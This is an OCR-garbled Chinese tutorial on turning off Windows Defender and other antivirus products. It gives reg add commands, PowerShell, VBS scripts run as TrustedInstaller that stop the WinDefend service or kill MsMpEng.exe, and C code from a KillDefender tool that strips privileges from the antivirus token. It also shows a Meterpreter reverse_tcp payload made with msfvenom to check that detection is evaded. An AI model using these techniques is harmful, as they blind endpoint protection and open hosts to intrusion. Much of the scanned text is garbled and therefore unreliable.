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2. B

MR T REBPFEZENZ RN, £ 2020 &F 8 AEMPEM 7 IHFXHE, ERFPRETHMARSIY, Defender I§
Br)KE; ERPHERZREERS R, Defender Kb BNFTE. BBBATAIAAMELIREHEAITTA, 1k Defender
RURBENLZETRR, MTMIAZIXEF Defender FIERINE? ZHRZRBARY,

BRAGEMRED, LRASTHEERREVEMREEHHEITHLE, HREBERLE NN Defender 1IZ1THIBERTTIABNRT
kb, REZBHIITRENHSIAS I DUARITES Defender BIER.



HKLM\SOFTWARE\Policies\Microsoft\Windows Defender T, DisableAntiSpyware BJ{EZ 9 1, DisableAntiVirus A9
BEXAN 1.

BIANER FHAT XA #E,

W EfsiEEs - 0 W
HHE(F) ®AE(E) EE(V) WEE(A) FANH)

HEHINHKEY _LOCAL_ MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
> | McAfee ~ || 28 25 18
| > B Micosoft 25](=0A) REG_SZ (ERE)
Mozilla
MozillaPlugins
Mahimic
Nemu
NemuBase
Node.js
Nuance
NVIDIA Corporation
ODBC
OEM
OpenssH
Oracle
Partner
| Palicies
i1 5 Adobe
i |~ 1 Microsoft
> | Cryptography

- PeerDist

Peernet

SQmMClient
> SystemCertificates

TPM
> Windows
- Windows Advanced Threat Prote
> Windows Defender
> Windows NT

R

R L R R e

BE:

P RER(E) BBV EEEEA) BEH)

THEHI\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender

i » | Windows Script Host Al ERR 5] =
b Windows Search ab) (BEiA) REG SZ (FHEFED)
. > | Windows Security Health %4\ DisableAntiSov... REG DWORD 0x00000001 (1)
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> WindowsRuntime 4| DisableAntiVirus REG_DWORD 0x00000001 (1)
y WindowsSelfHost

> WindowsUpdate
> Wisp
> WilanSve

HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} T,
STATE 249 0x00060100,

MEF) SSE(E) EE(V) WEESEA)  EE)H)

HEFIVHKEY LOCAL MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{DEBDDC3IA-831F-4fae-9E44-DA132C1ACF46)

Outlook Express ~ || & =3 =
Palm ab) (@A) REG §7 EniEFRE)

» | | Personalization b\ DISPLAYNAME ~ REG_SZ Microsoft Defender [55S

> | | Phone ab|GUID REG_SZ {D6BDDCIA-831F-4fae-9E44-DA132C1 ACF46)
Photos ab|PRODUCTEXE ~ REG_SZ windowsdefender://

. :E .,__i|'|'\l:|"UI'\I mw = e

) 24| STATE REG_DWORD 000060100 (393472) |

PlayToReceiver

b PointOfService

> Policies

B PolicyManager

BEABRIITFa<L1T, HUT:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}" /v STATE /t r
eg_dword /d "0x00060100" /f

4. SR
1B 5E/aESE, Defender {AE1T, BERESIZER.

XEREEEL— msf (OARDS, RINSZHN,
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O w2am

KREEE FAREENEEETIERS, HEERrENE T seE
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O axviaE
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5. B4

1) BEEHEANREE,

2) ERETHEEK,

3) HIT5E reg add HLEFERTIMRRSER, ERMTEEIMEREN, FTSHIT/LR.
4) FUERRARREEE X DisableAntiVirus 1 STATE XM EERIAT A,
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2. H1&

EIE ARFTFF powershell, A T&H<:

$preferences = Get-MpPreference
Set-MpPreference -DisableRealtimeMonitoring (!$preferences.DisableRealtimeMonitoring)

3. R
SFRIPEXA, BEARDIERIET.

Windows Z250;

% "maTIREINIF IR E

EEAIHIN Microsoft Defender Biss A0 e HIEBIHIA 2 E., BH2EEA?
E S
ZT L izt i

EEhMOH Windows 2£

ARl =33 W TEIRIRE FREstistT, RAILAEERt B

P R ORSEER

R R g % BRI FAIEE
— O

ference: Get-NpPreference
et-NpPreference ! Jpreferences. DisableReal timelonitoring)
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Windows T2y
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4. B4

1) ERESRAXME, EBEESIEXERIET, WRENRBEADSEZZHRTNE,

2) HEERSARAANER, 0 windows10 20H2,
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Trustedinstaller X fEx[H Defender
1. [=1E

Trustedinstaller A [RZE windows vista 3 7 EEA T AALZEEN MK, NEAARHZSIXRE, LEEANIFAFAEIAY System
NRES.,

7£ Windows XP K LARI, System P S5ERAEN ARG EETEIHOMNNRE, XEKRENER A BMIETHNERT]
MERERRSR, BRETRALEM, Trustedinstaller MRZT T 1X—185R, F1SRBIHE Trustedinstaller LRI RS HTE
TEEERRAREEAD, MEMAMORARZIMEENE, XZ2EA, U SYSTEM NRZTHERA—EENIEE



Trustedinstaller B9MXFR, RA@T T Service Control Manager (BRSBEohizHIZE) AVIIE/E7T BEFREN,

FTLA SYSTEM X RMAZINZENE, FATRIAZIHET Trustedinstaller XPREI,

2. B

FATRI AR T B3REX Trustedinstaller #XfR, M Nirsoft EATIE (https://www.nirsoft.net/utils/advanced_run.html)
& AdvancedRun,

BEHITXH AdvancedRun.exe fi#EHRFENATATIUN T ap L2 F1EA Trustedinstaller [F5f,

AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run

LERt8EH—1 cmd, |ABEEZBIAF 2/ System, BIE(MER whoami /priv EEFINAE R EEXTLEH S System B9ZE5
1,

TrustedInstaller:






Ny e

ETRBEMNEIXFIE Trustedinstaller 1XPR3E%F Defender,

BIE—1 vbs BIARK Bt x4 Defender, BT,

'Description: Script to disable the Microsoft Defender Antivirus service



Set ServiceSet = GetObject("winmgmts:").ExecQuery _
("select * from Win32_Service where Name='WinDefend'")

For Each Service In ServiceSet
RetVal = Service.StopService()
If RetVal <> @ Then

MsgBox "Error " & RetVal
End If
Service.ChangeStartMode("Manual™)
Next

FIFB wscript.exe HTHIZ,

AdvancedRun.exe /EXEFilename "%windir%\system32\wscript.exe" /CommandLine '"C:\Users\Pepper\Downloads\advancedrun
\1.vbs"" /RunAs 8 /Run



=] CAWindows\System32\cmd.exe +

Microsoft Windows [RR % 18.8.22567.200]
(c) Microsoft Corporation, EEAAEANA,

D:\TEST\advancedrun>AdvancedRun.exe /EXEFilename "%windir%\system32\wscript.exe" /CommandLine '"D:\TEST\advancedrun\2.vb
s"' /RunAs 8 /Run

D:\TEST\advancedrun>|

Error 2 R NHAFP&BFRHEAEINE,

BEFRR B I ARSZANTARITNER, ABEATRI AN —FEERBEE X Defender MI#HIE, 1§ L EMMIANE—T, XM
MsMpEng.exe #Fz:



Set ServiceSet2 = GetObject("winmgmts:\\.\root\cimv2™")
Set ServiceSet = ServiceSet2.Execquery("select * from Win32_Process where Name='MsMpEng.exe'™)

For Each Service In ServiceSet

RetVal = Service.Terminate()

If RetVal <> 0 Then
MsgBox "Error " & RetVal
End If

Next

MORET Error2, BEUTEIXERETT . B2 ZHIMAR Defender iEMRAIIHMEAI T —TRIIFZEE Defender RIS
7ER, SRREARIZFAZI System HiSBELUALIN,
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WS
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¥ Broducidppla..
¥ Productican

¥ Broductlocaliz..
R ProduciStatus
7 Product Type

B PUAProsection
a¥ RermediaticrExe
¥ Trustedimagel..
B Venfieddsdfe..
FE weriteprotect

W& LA Trustedinstaller tXFRER—T .

-

REG ST

REG ST
REG_DWORD
REG DWORD
REG_DWORD
REG &
REG_BIMARY
REG_ DWORD
REG_BIMARY
REG_ DWORD
REG_BIMARY
REG ST

REG EXPAND 57
REG_ExPakal 87
REG_ DWORD
REG_ DWORD
REG DWORD
REG_EXPAND 5T
REG ST

REG DWORD
REG_ DWORD

b

4 2 ]
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MO0 401
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DaBOD0DO00 0]
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® EWRSESEE, TER,
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2¥rF3& Defender,

3. T

1) Trustedinstaller #XfR/Z5N cmd.,

AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run

2) HAT reg add ap%, fEEUEMER

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
4. BLE

5HF—ELE, T"HEBER, EEFELETRIRE Trustedinstaller IR,

1EBUETE Token, XHAREB5|Z

1. [RIE

FA Windows 12/ OpenProcessTokenAP| 53#F2 <R T3 E, MSDN FEEHAIR
PROCESS_QUERY_INFORMATION B1X{£F OpenProcessToken, {B3ZFRAKRZ{RIFHVFHFE ] UGS
PROCESS_QUERY_INFORMATION #2{EZ{RIFHIERISHE ., ERXMEA, KEHE R EITHIFR MsMpEng.exe <REHRY
AR, HEEMNRGREEAZEENTEN. NAZEENTREUNEISSELLZEHARHRRA LNAZSRELER
R, MMERLILHZIER T EEHFEREEEN .

2. B



ELFMEBFRIBHAFRT (https://github.com/pwnisher/KillDefender) , XEAMH#E—TEE.,

Jint main(int argc, charxk argv)
{
LUID sedebugnameValue;
EnableDebugPrivilege() :
wchar t procname[80] = L"MsMpEng. exe”:
] //wchar _t procname[80] = L”360Safe. exe”; 4
//wchar t procname[80] = L"avp. exe”:
//wchar_t procname[80] = L"HipsDaemon. exe”;
int pid = getpid(procname) :

B 7tH1T EnableDebugPrivilege FREURF HATHATZINR, AGFA getpid REGREXRIF(1AE1EER Token HIAFERY PID,
SIS EEEDEHAARER, LEEREZIATRE PID,




Jlint getpid (LPCWSTR procname) {

DWORD procPID = 0;

LPCWSTR processName = L"”:

PROCESSENTRY32 processEntry = {}:
processEntry. dwSize = sizeof (PROCESSENTRY32) ;

// replace this with Ntquerysystemapi
HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, procPID):
=] if (snapshot == INVALID HANDLE VALUE)

{
printf ("CreateToolhelp32Snapshot Error!'\n”);
return 0;
I }
= if (Process32First (snapshot, &processEntry))
{
- while ( wcsicmp(processName, procname) '= 0)
{

Process32Next (snapshot, &processEntry):
processName = processEntry. szExeFile;
procPID = processEntry. th32ProcessID;

}
printf("[+] Got target proc PID: %d\n”, procPID);:




return procPID;

}

FF OpenProcess 3TFEE#HTE, FHIAMA OpenProcessToken 3XEXiZi#FE Token,
HANDLE phandle = OpenProcess(PROCESS QUERY LIMITED INFORMATION, FALSE, pid);

if (phandle != INVALID_ HANDLE VALUE) {

printf(”[*] Opened Target Handle'n”):

}
else {

printf(”"[-] Failed to open Process Handle'n”):
}

//printf ("%p\n”, phandle):
HANDLE ptoken;

BOOL token = OpenProcessToken(phandle, TOKEN ALL ACCESS, &ptoken):
ETRBEMEMA SetPrivilege() REVE HIZHIIN R 2 IPEE IR,



SetPrivilege (ptoken, SE DEBUG NAME, TRUE) :
SetPrivilege(ptoken, SE_CHANGE NOTIFY NAME, TRUE):
SetPrivilege (ptoken, SE TCB NAME, TRUE):

SetPrivilege (ptoken, SE_IMPERSONATE NAME, TRUE):
SetPrivilege (ptoken, SE _LOAD DRIVER NAME, TRUE);
SetPrivilege (ptoken, SE_RESTORE_NAME, TRUE):
SetPrivilege (ptoken, SE BACKUP NAME, TRUE):
SetPrivilege (ptoken, SE SECURITY NAME, TRUE):
SetPrivilege (ptoken, SE_SYSTEM ENVIRONMENT NAME, TRUE):
SetPrivilege(ptoken, SE_INCREASE QUOTA_NAME, TRUE) :
SetPrivilege (ptoken, SE TAKE OWNERSHIP NAME, TRUE):
SetPrivilege (ptoken, SE_INC BASE PRIORITY NAME, TRUE):
SetPrivilege (ptoken, SE_SHUTDOWN NAME, TRUE):
SetPrivilege (ptoken, SE_ASSIGNPRIMARYTOKEN NAME, TRUE):

SetPrivilege FISEIH] 2 BitREIITHY EnableDebugPrivilege RESEM A NEM, FEREI=1KE: OpenProcessToken
SREUATZERI S hEEIHA, LookupPrivilegeValue Eif#FEINPR, AdjustTokenPrivileges 1EBUATEINIR, JEE
EnableDebugPrivilege 2 1&X A1 #H#FEAY DEBUG PR, SetPrivilege RIEXIEE HTZAIIEEINIR



Hbool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
/ /153 3 FE R4 AR
= if (!OpenProcessToken (GetCurrentProcess(), TOKEN ADJUST PRIVILEGES | TOKEN QUERY, &hToken))
{

1

/ /BRI BUR

= if (!'LookupPrivilegeValue (NULL, SE DEBUG NAME, &sedebugnameValue))
{

return  FALSE;

CloseHandle (hToken) ;
return false;
1
tkp. PrivilegeCount = 1:
tkp. Privileges[0]. Luid = sedebugnameValue;
tkp. Privileges[0]. Attributes = SE_PRIVILEGE ENABLED;:
/ /B2 AL IR
= if (!'AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle (hToken) ;
return false;

}

return true;

]

&/a{EF SetTokenInformation IREEREMIARISENINEESR, WIAETEML,



3. FfR

WNIEREX system PR BE{ERIZ A E.

3000

Token Int:gl_t; set to Untrustec
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2 =

5 f ) windows/x64/meterpreter/reverse_tcp lhost=192.168.2

4 exe L exe
] No platform was selected, choosing Msf::Module::Platform
p

4L
[= ::Windows from th
e

ayload

Payload size:
Final size of

CP handler on 192. Q.5 44404

62 bytes) to 1“’
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B -0500

SEMAR XA AY#HFE HipsDaemon.exe, BFFEERK,

HipsDaemon.exe 7340 IEEET SYSTEM 00 23,924 K AT
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0 ARSI C:\Users\password888888
<~ \Downloads\killdefender.exe

”,‘ T ASE#R: HEUR/QVM202.0.30BF.Malware.Gen
i ¢ $=EASE): 2022.02.09 15:49

BASHENELEAERK, 360EmMINE=E.
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ZENST

W

Z5$ (https://xz.aliyun.com/t/10663) ,

https://www.winhelponline.com/blog/enable-or-disable—defender—shortcut-command-line/
https://www.winhelponline.com/blog/run—-program-as-trustedinstaller—locked-registry—keys—files/
http://ryze-t.com/posts/2021/06/29/EdrKiller.html

https://elastic.github.io/security—research/whitepapers/2022/02/02.sandboxing—antimalware—products—for—fun—
and-profit/article/



